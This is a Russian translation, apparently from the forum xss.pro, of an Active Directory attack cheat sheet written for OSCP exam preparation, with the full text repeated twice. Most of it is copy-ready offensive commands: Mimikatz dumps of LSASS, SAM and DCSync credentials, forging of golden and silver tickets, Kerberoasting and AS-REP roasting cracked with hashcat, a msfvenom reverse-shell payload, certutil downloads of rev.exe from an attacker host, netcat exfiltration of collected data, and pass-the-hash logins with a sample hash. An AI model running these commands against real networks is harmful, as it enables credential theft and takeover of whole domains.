Вы с трудом запоминаете множество различных атак Active Directory и векторов сбора информации? Я тоже.. Хотя открою вам секрет: большинство пентестеров не запоминают все сразу, просто они очень хорошо гуглят и обычно имеют свои личные шпаргалки.
По сути, этот пост в основном будет сводом информации об AD, которую я собрал во время подготовки к экзамену OSCP. Он не охватывает всего, что связано с AD, я не вдаюсь в подробности и не объясняю каждый тип атаки, я буквально просто вставляю и переформатирую шпаргалку, которую использовал на экзамене. Это не предназначено для того, чтобы быть каким-либо туториалом, просто то, что было (и в настоящее время) полезно для меня. Ничего, с чем я столкнулся на экзамене, не было на этом листе. Для этого нет определенного порядка, поэтому я бы рекомендовал взять все это и вставить в свой собственный OneNote или что-то еще, что вы используете.
Быстрый отказ от ответственности: любой из инструментов, которые находятся в каталоге impacket, можно запускать как двоичный файл, а не задавать cd или указывать их пути. т.е. вместо "/usr/share/doc/python3-impacket/examples/GetUserSPNs.py" вы можете просто ввести "impacket-GetUserSPNs", и все должно работать. Я не могу вспомнить, приходилось ли мне возиться, чтобы заставить его работать так. Я почти уверен, что это сработало на новой чистом Kali, так что пробуйте. Если это не сработает, дайте мне знать, и посмотрим, чем я могу помочь.
Большая часть "хороших вещей", которые я использую, находится в последнем разделе — Remote AD Enumeration/Attacks.
Этот пост также опубликован на моем личном сайте:
Шпаргалки по сбору информации
github.com
casvancooten.com
www.ired.team
Атаки на привилегии
Kerbrute Enumeration — доступ к домену не требуется
Pass the Ticket — доступ в качестве пользователя к требуемому домену
Kerberoasting — доступ от имени любого пользователя
AS-REP Roasting — Доступ от имени любого пользователя
Golden Ticket — требуется полная компрометация домена (администратор домена)
Silver Ticket — требуется служебный хэш
Skeleton Key — требуется полная компрометация домена (администратор домена)
Практика по AD атакам:
tryhackme.com
tryhackme.com
tryhackme.com
tryhackme.com
tryhackme.com
tryhackme.com
tryhackme.com
tryhackme.com
tryhackme.com
- HTB: Forest, Sauna, Active, Monteverde, Sizzle, Cascade
Bloodhound
Один из лучших инструментов для получения инфы с AD. Используйте его в сочетании с SharpHound.exe на цели, чтобы получить визуальное представление домена. Также имеет несколько полезных предварительно созданных запросов для определения наилучшего пути к администратору домена, который поддерживает kerberoastable и т. д.
www.ired.team
Учебное пособие по SharpHound:
Загрузить SharpHound (exe или ps1):
github.com
Памятка Bloodhound:
- [Из окна хакера] консоль neo4j [для запуска серверной службы]
- Введите учетные данные [из начальной настройки]
- Перенесите SharpHound (.exe или .ps1) и nc.exe на цель
- Запустите SharpHound.exe или .ps1
- Перенести добытые дааные обратно в kali:
- На $LHOST: nc -nlvp 4321 > loot.zip
- На цели: nc.exe -nv <kali IP> 4321 < loot.zip
- Перетащите loot.zip в графический интерфейс BloodHound.
Mimikatz.exe
Mimikatz.exe — это инструмент, который позволяет извлекать пароли, хранящиеся в памяти, и выполнять некоторые атаки AD (PTT и т. д.). Очевидно, по крайней мере, нужен пользователь с низким уровнем доступа, но обычно он работает только как администратор или SYSTEM. Просто перенесите его на цель и запустите двоичный файл.
www.liquidweb.com
github.com
Иногда для более старых систем требуется более старая версия Mimikatz.exe версии 2.1.1:
gitlab.com
Всегда запускайте сеанс Mimikatz.exe, вводя:
privilege::debug
token::elevate
Когда я запускаю mimikatz, я обычно пытаюсь запустить большинство из приведенных ниже команд или, по крайней мере, выгружаю LSASS, дамп SAM и дамп секретов.
Шпаргалка gj Mimikatz.exe:
#Dump LSASS:
mimikatz privilege::debug
mimikatz token::elevate
mimikatz sekurlsa::logonpasswords
#(Over) Pass The Hash
mimikatz privilege::debug
mimikatz sekurlsa::pth /user:<UserName> /ntlm:<> /domain:<DomainFQDN>
#List all available kerberos tickets in memory
mimikatz sekurlsa:
ickets
#Dump local Terminal Services credentials
mimikatz sekurlsa:
spkg
#Dump and save LSASS in a file
mimikatz sekurlsa::minidump c:\temp\lsass.dmp
#List cached MasterKeys
mimikatz sekurlsa::dpapi
#List local Kerberos AES Keys
mimikatz sekurlsa::ekeys
#Dump SAM Database
mimikatz lsadump::sam
#Dump SECRETS Database
mimikatz lsadump::secrets
#Inject and dump the Domain Controller’s Credentials
mimikatz privilege::debug
mimikatz token::elevate
mimikatz lsadump::lsa /inject
#Dump the Domain’s Credentials without touching DC’s LSASS and also remotely
mimikatz lsadump::dcsync /domain:<DomainFQDN> /all
#List and Dump local kerberos credentials
mimikatz kerberos::list /dump
#Pass The Ticket
mimikatz kerberos::ptt <PathToKirbiFile>#List TS/RDP sessions
mimikatz ts::sessions
#List Vault credentials
mimikatz vault::list
Kerberoasting:
stealthbits.com
medium.com
Pass-The-Ticket (PTT):
PTT работает путем дампа TGT из памяти LSASS машины. LSASS — это процесс памяти, который хранит учетные данные на сервере Active Directory и может хранить билеты Kerberos вместе с другими типами учетных данных. Когда вы дампите билет с помощью Mimikatz, он дает вам билет .kirbi, который можно использовать для получения администратора домена, если билет администратора домена находится в памяти LSASS. Отличная атака для повышения привилегий и бокового движения.
mimikatz.exe
mimikatz.exe
privilege::debug
sekurlsa:
ickets /export [this will export all of the .kirbi tickets into your present working directory]
Теперь, чтобы сдать билет:
kerberos::ptt <.kirbi ticket>
klist [not in mimikatz session — verifies your ticket was injected]
Атака с золотым билетом:
Эта атака работает путем сброса TGT любого пользователя в домене, предпочтительно, чтобы это был администратор
домена, однако для золотого билета вы должны сбросить билет krbtgt, а для серебряного билета вы сбросите билет любой службы или домена.
mimikatz.exe
privilege::debug
lsadump::lsa /inject /name:krbtgt [to create a silver ticket change the /name: to dump the hash of either a domain admin account or a service account such as the SQLService account]
kerberos::golden /user:administrator /domain:<domain.local> /sid:<krbtgt’s full SID> /krbtgt:<NTLM Hash of krbtgt> /id:500 [to create a silver ticket user a different service account — place the NTLM, SID, and id 1103 into the proper slots of this command]
Чтобы получить доступ к другим машинам с золотым/серебряным билетом:
misc::cmd [to spawn cmd.exe instance for your new ticket]
dir \\<other machine name or IP>\C$
Обратная оболочка MSFVenom (.exe)
В этом нет ничего особенного. Мне просто нравилось иметь его под рукой.
msfvenom -a x64 --platform Windows -p windows/x64/shell_reverse_tcp LHOST=<Local IP>LPORT=4321 -f exe -o rev.exeIf this one doesn’t work try windows/x64/shell/reverse_tcp as the payload instead. Or take out x64 if it’s a 32-bit box.
Передача файлов (от цели)
На локальном хосте запустите веб-сервер из места, в котором находится файл, который вы хотите передать:
[From attack box] python3 -m http.server 8080On target, enter this command:certutil.exe -urlcache -split -f http://<your IP>:<web port>/<requested file>[example]
certutil.exe -urlcache -split -f http://1.2.3.4:8080/rev.exe
Запустите сеанс PowerShell и импортируйте модуль
powershell.exe -nop -exec bypassImport-Module <Full Path to xyz.ps1>
PowerView.ps1
PowerView — это сверхмощный сценарий PowerShell, который помогает в перечислении доменов. Также может выполнять определенные атаки, такие как kerberoasting. Это делает слишком много, чтобы печатать. Обычно я просто следую некоторым онлайн-руководствам по PowerView.
Invoke-Kerberoast [Очень приятно, когда работает]
gist.github.com
https://powersploit.readthedocs.io/en/latest /Recon/Invoke-Kerberoast/
Подключиться к хосту с найденными/взломанными кредами
python3 /opt/impacket/examples/psexec.py <domain>/<username>:<password>@<IP>[or]impacket-psexec.py <domain>/<username>:<password>@<IP>[example]
impacket-psexec.py xor/sqlserver:shantewhite@10.11.1.121
ИЛИ
Если у вас есть кредиты/хэши для цели, используйте crackmapexec для запроса обратного шелла и снова для его выполнения.
Для первой команды измените раздел "rev.exe" на рисунке ниже на:
certutil.exe -urlcache -split -f http://<localhost>:<web port>/rev.exe
затем запустите модифицированную версию приведенной ниже команды (убедитесь, что вы размещаете веб-сервер для rev.exe и убедитесь, что у вас есть прослушиватель nc для оболочки):
Kerbrute
Kerbrute — это популярный инструмент перечисления, используемый для перебора и перечисления действительных пользователей Active Directory путем злоупотребления предварительной аутентификацией Kerberos. Мне нравится начинать перечисление имен пользователей с приведенного ниже списка слов, но, надеюсь, я смогу получить законные имена пользователей с помощью перечисления LDAP или enum4linux. Если это так, я создам список пользователей на основе этих имен и использую kerbrute, чтобы убедиться, что они действительно существуют.
Бинарный файл kerbrute:
github.com
Список слов:
Добавьте DNS-имя DC (или имя хоста) и IP-адрес в файл /etc/hosts
./kerbrute userenum --dc <hostname.local> -d <domain name> <path to user-wordlist>
Хороший инструмент для сбора TGT и проведения различных атак. Передайте его цели, чтобы запустить его.
Rubeus:
github.com
Собирайте TGT каждые 30 секунд:
rubeus.exe harvest /interval:30
Кербероастинг:
rubeus.exe kerberoast
[copy the hash to your attack box into a file — we’ll call it hash.txt]
hashcat -m 13100 -a 0 hash.txt /usr/share/wordlists/rockyou.txt
AS-REP Roasting:
Подобно kerberoasting, AS-REP обрабатывает дамп хэшей krbasrep5 учетных записей пользователей, у которых отключена предварительная аутентификация Kerberos. В отличие от kerberoasting, эти пользователи не обязательно должны быть учетными записями службы; единственное требование для возможности обрабатывания пользователя AS-REP заключается в том, что у пользователя должна быть отключена предварительная аутентификация.
rubeus.exe asreproast /format:hashcat /outfile:<filename of choice>[save hash to file on attack box — we’ll call it hash.txt]hashcat -m 18200 hash.txt /usr/share/wordlists/rockyou.txt
Удаленное перечисление AD
Этот раздел - мой хлеб насущный. 90% того, что я делаю/использую, взято из этого раздела. Все сводится к перечислению: используйте enum4linux/ldapsearch, чтобы сначала посмотреть, можете ли вы найти пользователей/информацию, затем поместите этих пользователей в список и/или используйте kerbrute/impacket-lookupsid, чтобы найти больше/проверить найденных пользователей, затем просто запустите остальные команды и надеемся получить хеш обратно, взломать его, затем перейти к инструментам, требующим пароля, а затем повторно запустить все инструменты как новый пользователь/пароль.
Перечислить порт 139/445 с помощью enum4linux:
enum4linux -v <IP-адрес>
Перечисление LDAP с ldapsearch:
ldapsearch -x -h <IP> -s base namingcontexts
[Parse through the returned naming contexts, then enumerate each one]:
ldapsearch -x -h <IP> -b ‘DC=EGOTISTICAL-BANK,DC=LOCAL’
[You can further query specific sections of each naming context]:
ldapsearch -h <IP> -x -b “DC=cascade,DC=local” ‘(objectClass=person)’
Просмотрите выходные данные и посмотрите, сможете ли вы определить интересные параметры. Возможно, вы сможете создать список пользователей на основе вывода. Возможно, вам повезет, и вы найдете конфиденциальную информацию, например пароли. Попробуйте передать команду grep и grepping для пароля, pwd, пароля, домена, пользователя и т. д.
Перечислить пользователей через Kerbrute:
[add domain name to / etc / hosts file]./kerbrute userenum --dc <dc IP/hostname> -d <domain.local> <user list>
Если kerbrute не работает, попробуйте impacket-lookupsid
impacket-lookupsid <domain.local>@<DC IP>
Если ручное перечисление не дает вам действительного списка пользователей, попробуйте:
/usr/share/seclists/Usernames/xato-net-10-million-usernames.txt
AS-REPROasting:
impacket-GetNPUsers <domain.local>/ -no-pass -usersfile <path to users list> -format hashcat [this command can also be used if you find valid creds, might get different results with creds][paste hash into a file — users.txt]
hashcat -m 18200 hash.txt /usr/share/wordlists/rockyou.txt
Хеши паролей, к которым имеет доступ конкретная учетная запись службы (обычно требуются учетные данные):
impacket-secretsdump <username>:<password>@<domain name or IP> -dc-ip <DC IP>
Используйте Evil-WinRM или win-pth для подключения к хосту с помощью атаки PTH:
evil-winrm -i <IP> -u <user> -H <hash>
При использовании win-pth вы должны добавить пустой хэш LM в начало хэша пользователя, я предоставлю ссылку, объясняющую это.
Blank LM hash [always the same] — Aad3b435b51404eeaad3b435b51404ee
pth-winexe -U <domain>/<user>%<LM hash>:<user hash> //<IP> <command to run>
[Example win-pth command]:pth-winexe -U
svcorp/pete%aad3b435b51404eeaad3b435b51404ee:0f951bc4fdc5dfcd148161420b9c6207 //10.11.1.21 cmd.exe
infinitelogins.com
yougottahackthat.com
Получить SPNs пользователя:
impacket-GetUserSPNs <IP or hostname>/<username>:<password> [add -request if SPN is found]
[save hash and crack with hashcat]
hashcat -m 13100 hash.txt /usr/share/wordlists/rockyou.txt
Расшифровать cpassword Groups.xml:
Если вы найдете файл с именем Groups.xml в окне Windows, это XML-файл предпочтений групповой политики (GPP). gpp-decrypt извлечет из него имена пользователей и пароли и расшифрует их.
python3 gpp-decrypt.py -f <groups.xml file>
[or]
python3 gpp-decrypt.py -c <cpassword>
github.com
Заключение
Вот и все! Эксплуатация AD довольно проста, как только вы освоите ее. Наличие шпаргалки значительно упрощает жизнь. Когда у вас нехватка времени или вы чувствуете, что мозг устал, это сделает вашу жизнь намного проще. Смело берите этот файл и делайте, что хотите. Добавьте к нему строки, уберите, переформатируйте, мне все равно. Надеюсь, поможет!
Переведено специально для xss.pro
Автор перевода: yashechka
Источник: https://medium.com/@dw3113r/active-directory-attack-cheat-sheet-ea9e9744028d
По сути, этот пост в основном будет сводом информации об AD, которую я собрал во время подготовки к экзамену OSCP. Он не охватывает всего, что связано с AD, я не вдаюсь в подробности и не объясняю каждый тип атаки, я буквально просто вставляю и переформатирую шпаргалку, которую использовал на экзамене. Это не предназначено для того, чтобы быть каким-либо туториалом, просто то, что было (и в настоящее время) полезно для меня. Ничего, с чем я столкнулся на экзамене, не было на этом листе. Для этого нет определенного порядка, поэтому я бы рекомендовал взять все это и вставить в свой собственный OneNote или что-то еще, что вы используете.
Быстрый отказ от ответственности: любой из инструментов, которые находятся в каталоге impacket, можно запускать как двоичный файл, а не задавать cd или указывать их пути. т.е. вместо "/usr/share/doc/python3-impacket/examples/GetUserSPNs.py" вы можете просто ввести "impacket-GetUserSPNs", и все должно работать. Я не могу вспомнить, приходилось ли мне возиться, чтобы заставить его работать так. Я почти уверен, что это сработало на новой чистом Kali, так что пробуйте. Если это не сработает, дайте мне знать, и посмотрим, чем я могу помочь.
Большая часть "хороших вещей", которые я использую, находится в последнем разделе — Remote AD Enumeration/Attacks.
Этот пост также опубликован на моем личном сайте:
Шпаргалки по сбору информации
GitHub - S1ckB0y1337/Active-Directory-Exploitation-Cheat-Sheet: A cheat sheet that contains common enumeration and attack methods for Windows Active Directory.
A cheat sheet that contains common enumeration and attack methods for Windows Active Directory. - S1ckB0y1337/Active-Directory-Exploitation-Cheat-Sheet
Windows & Active Directory Exploitation Cheat Sheet and Command Reference
Last update: November 3rd, 2021 Updated November 3rd, 2021: Included several fixes and actualized some techniques. Changes made to the Defender evasion, RBCD, Domain Enumeration, Rubeus, and Mimikatz sections. Fixed some whoopsies as well ð. Updated June 5th, 2021: I have made some more changes...
Active Directory & Kerberos Abuse | Red Team Notes
A collection of techniques that exploit and abuse Active Directory, Kerberos authentication, Domain Controllers and similar matters.
www.ired.team
Атаки на привилегии
Kerbrute Enumeration — доступ к домену не требуется
Pass the Ticket — доступ в качестве пользователя к требуемому домену
Kerberoasting — доступ от имени любого пользователя
AS-REP Roasting — Доступ от имени любого пользователя
Golden Ticket — требуется полная компрометация домена (администратор домена)
Silver Ticket — требуется служебный хэш
Skeleton Key — требуется полная компрометация домена (администратор домена)
Практика по AD атакам:
Attacktive Directory
99% of Corporate networks run off of AD. But can you exploit a vulnerable Domain Controller?
TryHackMe | Cyber Security Training
TryHackMe is a free online platform for learning cyber security, using hands-on exercises and labs, all through your browser!
Post-Exploitation Basics
Learn the basics of post-exploitation and maintaining access with mimikatz, bloodhound, powerview and msfvenom
Attacking Kerberos
Learn how to abuse the Kerberos Ticket Granting Service inside of a Windows Domain Controller
Zero Logon
Learn about and exploit the ZeroLogon vulnerability that allows an attacker to go from Zero to Domain Admin without any valid credentials.
VulnNet: Roasted
VulnNet Entertainment quickly deployed another management instance on their very broad network...
Enterprise
You just landed in an internal network. You scan the network and there's only the Domain Controller...
Enumerating Active Directory
This room covers various Active Directory enumeration techniques, their use cases as well as drawbacks.
Exploiting Active Directory
Learn common AD exploitation techniques that can allow you to reach your goal in an AD environment.
- HTB: Forest, Sauna, Active, Monteverde, Sizzle, Cascade
Bloodhound
Один из лучших инструментов для получения инфы с AD. Используйте его в сочетании с SharpHound.exe на цели, чтобы получить визуальное представление домена. Также имеет несколько полезных предварительно созданных запросов для определения наилучшего пути к администратору домена, который поддерживает kerberoastable и т. д.
BloodHound with Kali Linux: 101 | Red Team Notes
www.ired.team
Учебное пособие по SharpHound:
Загрузить SharpHound (exe или ps1):
BloodHound-Legacy/Collectors at master · SpecterOps/BloodHound-Legacy
Six Degrees of Domain Admin. Contribute to SpecterOps/BloodHound-Legacy development by creating an account on GitHub.
Памятка Bloodhound:
- [Из окна хакера] консоль neo4j [для запуска серверной службы]
- Введите учетные данные [из начальной настройки]
- Перенесите SharpHound (.exe или .ps1) и nc.exe на цель
- Запустите SharpHound.exe или .ps1
- Перенести добытые дааные обратно в kali:
- На $LHOST: nc -nlvp 4321 > loot.zip
- На цели: nc.exe -nv <kali IP> 4321 < loot.zip
- Перетащите loot.zip в графический интерфейс BloodHound.
Mimikatz.exe
Mimikatz.exe — это инструмент, который позволяет извлекать пароли, хранящиеся в памяти, и выполнять некоторые атаки AD (PTT и т. д.). Очевидно, по крайней мере, нужен пользователь с низким уровнем доступа, но обычно он работает только как администратор или SYSTEM. Просто перенесите его на цель и запустите двоичный файл.
How to Install and Use Mimikatz
Learn about How to Install and Use Mimikatz today with Liquid Web.
Releases · gentilkiwi/mimikatz
A little tool to play with Windows security. Contribute to gentilkiwi/mimikatz development by creating an account on GitHub.
Иногда для более старых систем требуется более старая версия Mimikatz.exe версии 2.1.1:
Files · d72fc2cca1df23f60f81bc141095f65a131fd099 · Kali Linux / Packages / mimikatz · GitLab
mimikatz packaging for Kali Linux
Всегда запускайте сеанс Mimikatz.exe, вводя:
privilege::debug
token::elevate
Когда я запускаю mimikatz, я обычно пытаюсь запустить большинство из приведенных ниже команд или, по крайней мере, выгружаю LSASS, дамп SAM и дамп секретов.
Шпаргалка gj Mimikatz.exe:
#Dump LSASS:
mimikatz privilege::debug
mimikatz token::elevate
mimikatz sekurlsa::logonpasswords
#(Over) Pass The Hash
mimikatz privilege::debug
mimikatz sekurlsa::pth /user:<UserName> /ntlm:<> /domain:<DomainFQDN>
#List all available kerberos tickets in memory
mimikatz sekurlsa:
#Dump local Terminal Services credentials
mimikatz sekurlsa:
#Dump and save LSASS in a file
mimikatz sekurlsa::minidump c:\temp\lsass.dmp
#List cached MasterKeys
mimikatz sekurlsa::dpapi
#List local Kerberos AES Keys
mimikatz sekurlsa::ekeys
#Dump SAM Database
mimikatz lsadump::sam
#Dump SECRETS Database
mimikatz lsadump::secrets
#Inject and dump the Domain Controller’s Credentials
mimikatz privilege::debug
mimikatz token::elevate
mimikatz lsadump::lsa /inject
#Dump the Domain’s Credentials without touching DC’s LSASS and also remotely
mimikatz lsadump::dcsync /domain:<DomainFQDN> /all
#List and Dump local kerberos credentials
mimikatz kerberos::list /dump
#Pass The Ticket
mimikatz kerberos::ptt <PathToKirbiFile>#List TS/RDP sessions
mimikatz ts::sessions
#List Vault credentials
mimikatz vault::list
Kerberoasting:
Extracting Service Account Passwords with Kerberoasting
This article describes the Kerberoasting attack for extracting service account credentials from A?tive Directory.
Kerberoasting - From setup to cracking
Feel free to follow me on Twitter at @_markmo_ (yes with the underscores)
medium.com
Pass-The-Ticket (PTT):
PTT работает путем дампа TGT из памяти LSASS машины. LSASS — это процесс памяти, который хранит учетные данные на сервере Active Directory и может хранить билеты Kerberos вместе с другими типами учетных данных. Когда вы дампите билет с помощью Mimikatz, он дает вам билет .kirbi, который можно использовать для получения администратора домена, если билет администратора домена находится в памяти LSASS. Отличная атака для повышения привилегий и бокового движения.
mimikatz.exe
mimikatz.exe
privilege::debug
sekurlsa:
Теперь, чтобы сдать билет:
kerberos::ptt <.kirbi ticket>
klist [not in mimikatz session — verifies your ticket was injected]
Атака с золотым билетом:
Эта атака работает путем сброса TGT любого пользователя в домене, предпочтительно, чтобы это был администратор
домена, однако для золотого билета вы должны сбросить билет krbtgt, а для серебряного билета вы сбросите билет любой службы или домена.
mimikatz.exe
privilege::debug
lsadump::lsa /inject /name:krbtgt [to create a silver ticket change the /name: to dump the hash of either a domain admin account or a service account such as the SQLService account]
kerberos::golden /user:administrator /domain:<domain.local> /sid:<krbtgt’s full SID> /krbtgt:<NTLM Hash of krbtgt> /id:500 [to create a silver ticket user a different service account — place the NTLM, SID, and id 1103 into the proper slots of this command]
Чтобы получить доступ к другим машинам с золотым/серебряным билетом:
misc::cmd [to spawn cmd.exe instance for your new ticket]
dir \\<other machine name or IP>\C$
Обратная оболочка MSFVenom (.exe)
В этом нет ничего особенного. Мне просто нравилось иметь его под рукой.
msfvenom -a x64 --platform Windows -p windows/x64/shell_reverse_tcp LHOST=<Local IP>LPORT=4321 -f exe -o rev.exeIf this one doesn’t work try windows/x64/shell/reverse_tcp as the payload instead. Or take out x64 if it’s a 32-bit box.
Передача файлов (от цели)
На локальном хосте запустите веб-сервер из места, в котором находится файл, который вы хотите передать:
[From attack box] python3 -m http.server 8080On target, enter this command:certutil.exe -urlcache -split -f http://<your IP>:<web port>/<requested file>[example]
certutil.exe -urlcache -split -f http://1.2.3.4:8080/rev.exe
Запустите сеанс PowerShell и импортируйте модуль
powershell.exe -nop -exec bypassImport-Module <Full Path to xyz.ps1>
PowerView.ps1
PowerView — это сверхмощный сценарий PowerShell, который помогает в перечислении доменов. Также может выполнять определенные атаки, такие как kerberoasting. Это делает слишком много, чтобы печатать. Обычно я просто следую некоторым онлайн-руководствам по PowerView.
Invoke-Kerberoast [Очень приятно, когда работает]
PowerView-3.0 tips and tricks
PowerView-3.0 tips and tricks. GitHub Gist: instantly share code, notes, and snippets.
Подключиться к хосту с найденными/взломанными кредами
python3 /opt/impacket/examples/psexec.py <domain>/<username>:<password>@<IP>[or]impacket-psexec.py <domain>/<username>:<password>@<IP>[example]
impacket-psexec.py xor/sqlserver:shantewhite@10.11.1.121
ИЛИ
Если у вас есть кредиты/хэши для цели, используйте crackmapexec для запроса обратного шелла и снова для его выполнения.
Для первой команды измените раздел "rev.exe" на рисунке ниже на:
certutil.exe -urlcache -split -f http://<localhost>:<web port>/rev.exe
затем запустите модифицированную версию приведенной ниже команды (убедитесь, что вы размещаете веб-сервер для rev.exe и убедитесь, что у вас есть прослушиватель nc для оболочки):
Kerbrute
Kerbrute — это популярный инструмент перечисления, используемый для перебора и перечисления действительных пользователей Active Directory путем злоупотребления предварительной аутентификацией Kerberos. Мне нравится начинать перечисление имен пользователей с приведенного ниже списка слов, но, надеюсь, я смогу получить законные имена пользователей с помощью перечисления LDAP или enum4linux. Если это так, я создам список пользователей на основе этих имен и использую kerbrute, чтобы убедиться, что они действительно существуют.
Бинарный файл kerbrute:
Releases · ropnop/kerbrute
A tool to perform Kerberos pre-auth bruteforcing. Contribute to ropnop/kerbrute development by creating an account on GitHub.
Список слов:
Добавьте DNS-имя DC (или имя хоста) и IP-адрес в файл /etc/hosts
./kerbrute userenum --dc <hostname.local> -d <domain name> <path to user-wordlist>
Хороший инструмент для сбора TGT и проведения различных атак. Передайте его цели, чтобы запустить его.
Rubeus:
Ghostpack-CompiledBinaries/Rubeus.exe at master · r3motecontrol/Ghostpack-CompiledBinaries
Compiled Binaries for Ghostpack. Contribute to r3motecontrol/Ghostpack-CompiledBinaries development by creating an account on GitHub.
Собирайте TGT каждые 30 секунд:
rubeus.exe harvest /interval:30
Кербероастинг:
rubeus.exe kerberoast
[copy the hash to your attack box into a file — we’ll call it hash.txt]
hashcat -m 13100 -a 0 hash.txt /usr/share/wordlists/rockyou.txt
AS-REP Roasting:
Подобно kerberoasting, AS-REP обрабатывает дамп хэшей krbasrep5 учетных записей пользователей, у которых отключена предварительная аутентификация Kerberos. В отличие от kerberoasting, эти пользователи не обязательно должны быть учетными записями службы; единственное требование для возможности обрабатывания пользователя AS-REP заключается в том, что у пользователя должна быть отключена предварительная аутентификация.
rubeus.exe asreproast /format:hashcat /outfile:<filename of choice>[save hash to file on attack box — we’ll call it hash.txt]hashcat -m 18200 hash.txt /usr/share/wordlists/rockyou.txt
Удаленное перечисление AD
Этот раздел - мой хлеб насущный. 90% того, что я делаю/использую, взято из этого раздела. Все сводится к перечислению: используйте enum4linux/ldapsearch, чтобы сначала посмотреть, можете ли вы найти пользователей/информацию, затем поместите этих пользователей в список и/или используйте kerbrute/impacket-lookupsid, чтобы найти больше/проверить найденных пользователей, затем просто запустите остальные команды и надеемся получить хеш обратно, взломать его, затем перейти к инструментам, требующим пароля, а затем повторно запустить все инструменты как новый пользователь/пароль.
Перечислить порт 139/445 с помощью enum4linux:
enum4linux -v <IP-адрес>
Перечисление LDAP с ldapsearch:
ldapsearch -x -h <IP> -s base namingcontexts
[Parse through the returned naming contexts, then enumerate each one]:
ldapsearch -x -h <IP> -b ‘DC=EGOTISTICAL-BANK,DC=LOCAL’
[You can further query specific sections of each naming context]:
ldapsearch -h <IP> -x -b “DC=cascade,DC=local” ‘(objectClass=person)’
Просмотрите выходные данные и посмотрите, сможете ли вы определить интересные параметры. Возможно, вы сможете создать список пользователей на основе вывода. Возможно, вам повезет, и вы найдете конфиденциальную информацию, например пароли. Попробуйте передать команду grep и grepping для пароля, pwd, пароля, домена, пользователя и т. д.
Перечислить пользователей через Kerbrute:
[add domain name to / etc / hosts file]./kerbrute userenum --dc <dc IP/hostname> -d <domain.local> <user list>
Если kerbrute не работает, попробуйте impacket-lookupsid
impacket-lookupsid <domain.local>@<DC IP>
Если ручное перечисление не дает вам действительного списка пользователей, попробуйте:
/usr/share/seclists/Usernames/xato-net-10-million-usernames.txt
AS-REPROasting:
impacket-GetNPUsers <domain.local>/ -no-pass -usersfile <path to users list> -format hashcat [this command can also be used if you find valid creds, might get different results with creds][paste hash into a file — users.txt]
hashcat -m 18200 hash.txt /usr/share/wordlists/rockyou.txt
Хеши паролей, к которым имеет доступ конкретная учетная запись службы (обычно требуются учетные данные):
impacket-secretsdump <username>:<password>@<domain name or IP> -dc-ip <DC IP>
Используйте Evil-WinRM или win-pth для подключения к хосту с помощью атаки PTH:
evil-winrm -i <IP> -u <user> -H <hash>
При использовании win-pth вы должны добавить пустой хэш LM в начало хэша пользователя, я предоставлю ссылку, объясняющую это.
Blank LM hash [always the same] — Aad3b435b51404eeaad3b435b51404ee
pth-winexe -U <domain>/<user>%<LM hash>:<user hash> //<IP> <command to run>
[Example win-pth command]:pth-winexe -U
svcorp/pete%aad3b435b51404eeaad3b435b51404ee:0f951bc4fdc5dfcd148161420b9c6207 //10.11.1.21 cmd.exe
Popping Remote Shells w/ winexe & pth-winexe on Windows
If you’re able to come across credentials or NTLM hashes for a Windows box that has SMB enabled, you may be able to leverage the tool called winexe to gain a shell. If you have captured a NTL…
infinitelogins.com
What is aad3b435b51404eeaad3b435b51404ee? - You Gotta Hack That
yougottahackthat.com
Получить SPNs пользователя:
impacket-GetUserSPNs <IP or hostname>/<username>:<password> [add -request if SPN is found]
[save hash and crack with hashcat]
hashcat -m 13100 hash.txt /usr/share/wordlists/rockyou.txt
Расшифровать cpassword Groups.xml:
Если вы найдете файл с именем Groups.xml в окне Windows, это XML-файл предпочтений групповой политики (GPP). gpp-decrypt извлечет из него имена пользователей и пароли и расшифрует их.
python3 gpp-decrypt.py -f <groups.xml file>
[or]
python3 gpp-decrypt.py -c <cpassword>
GitHub - t0thkr1s/gpp-decrypt: Tool to parse the Group Policy Preferences XML file which extracts the username and decrypts the cpassword attribute.
Tool to parse the Group Policy Preferences XML file which extracts the username and decrypts the cpassword attribute. - t0thkr1s/gpp-decrypt
Заключение
Вот и все! Эксплуатация AD довольно проста, как только вы освоите ее. Наличие шпаргалки значительно упрощает жизнь. Когда у вас нехватка времени или вы чувствуете, что мозг устал, это сделает вашу жизнь намного проще. Смело берите этот файл и делайте, что хотите. Добавьте к нему строки, уберите, переформатируйте, мне все равно. Надеюсь, поможет!
Переведено специально для xss.pro
Автор перевода: yashechka
Источник: https://medium.com/@dw3113r/active-directory-attack-cheat-sheet-ea9e9744028d


